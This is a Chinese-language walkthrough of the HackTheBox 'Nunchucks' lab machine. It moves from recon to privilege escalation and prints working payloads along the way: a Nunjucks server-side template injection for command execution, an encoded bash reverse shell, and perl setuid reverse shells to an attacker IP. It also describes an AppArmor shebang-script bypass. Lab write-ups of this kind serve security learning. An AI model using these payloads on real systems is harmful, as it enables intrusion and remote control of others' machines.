HackTheBox | Nunchucks
nmap扫描,开放22、80、443
修改本地hosts文件,访问web站点
找到登录页面和注册页面,但是都被禁用
dirsearch扫描也没有什么有效信息
在页面最下方看到links
,其中有个store还未上线
看了wp之后知道,确实存在store这个站点,将store.nunchucks.htb
添加到hosts文件中访问
在页面中输入框内输入内容,发现会回显到前端
尝试SSTI,确实存在;由于直接输入{{3*3}}
时会提示让输入邮箱,所以写成了完整的邮箱格式
使用payload成功命令执行,参考《SANDBOX BREAKOUT - A VIEW OF THE NUNJUCKS TEMPLATE ENGINE》http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}
反弹shell
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yLzEyMzQgMD4mMSI=|base64 -d|bash -i')\")()}}
检查SUID,看到/usr/sbin/pppd
上传LinEnum.sh
信息收集
看到特殊cap特权,perl
存在cap_setuid
权限
找到特权利用方法
直接使用上面的无法获取到root权限的shell,所以尝试命令执行,发现可以执行一些简单的命令
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
尝试直接使用perl反弹shell,在网上找到两种perl反弹shell的方式,第二种成功getshell;第一种会在接收到shell之后立即断开
# 方法一
perl -e 'use Socket;$i="10.10.10.11";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# 方法二
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.11:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
方法二反弹回来的shell权限如下
但是问题在于,虽然是root用户,仍然无法读取root路径下的内容,提示权限不足
查看wp之后,看到涉及到apparmor
,又是一个没有接触过的东西
查找资料《apparmor_什么是AppArmor?如何确保Ubuntu安全?》https://blog.youkuaiyun.com/culingluan4376/article/details/108708675
apparmor可以用于细粒度的权限控制,其配置文件位于/etc/apparmor.d
路径下
进入路径,看到了配置文件
在usr.bin.perl
文件中记录了perl的权限控制情况,可以看到拒绝了对/root
路径下文件的读写执行,所以无法看到root用户家目录下的内容
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>
/usr/bin/perl {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/perl>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,
}
其中有一个特殊的perl文件/opt/backup.pl
,查看文件内容
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);
my $tmpdir = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";
sub printlog
{
print "[", strftime("%D %T", localtime), "] $_[0]\n";
}
sub archive
{
printlog "Archiving...";
system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
printlog "Backup complete in $tmpbdir/backup_$now.tar";
}
if ($> != 0) {
die "You must run this script as root.\n";
}
printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
虽然不会perl编程,但是可以强行理解以下脚本内容。大概作用就是将/var/www目录下的内容进行压缩,然后存储到/opt/web_backups
路径下,好像没有可以利用的点
又是参考了wp,利用了apparmor对perl限制的一个bug,参考《Unable to prevent execution of shebang lines》https://bugs.launchpad.net/apparmor/+bug/1911431
该bug大概是描述了可以通过执行perl脚本的方式绕过perl -e
执行过程中的权限限制。将前面利用的perl+cap命令执行的语句改写为脚本,然后执行,确实成功绕过限制。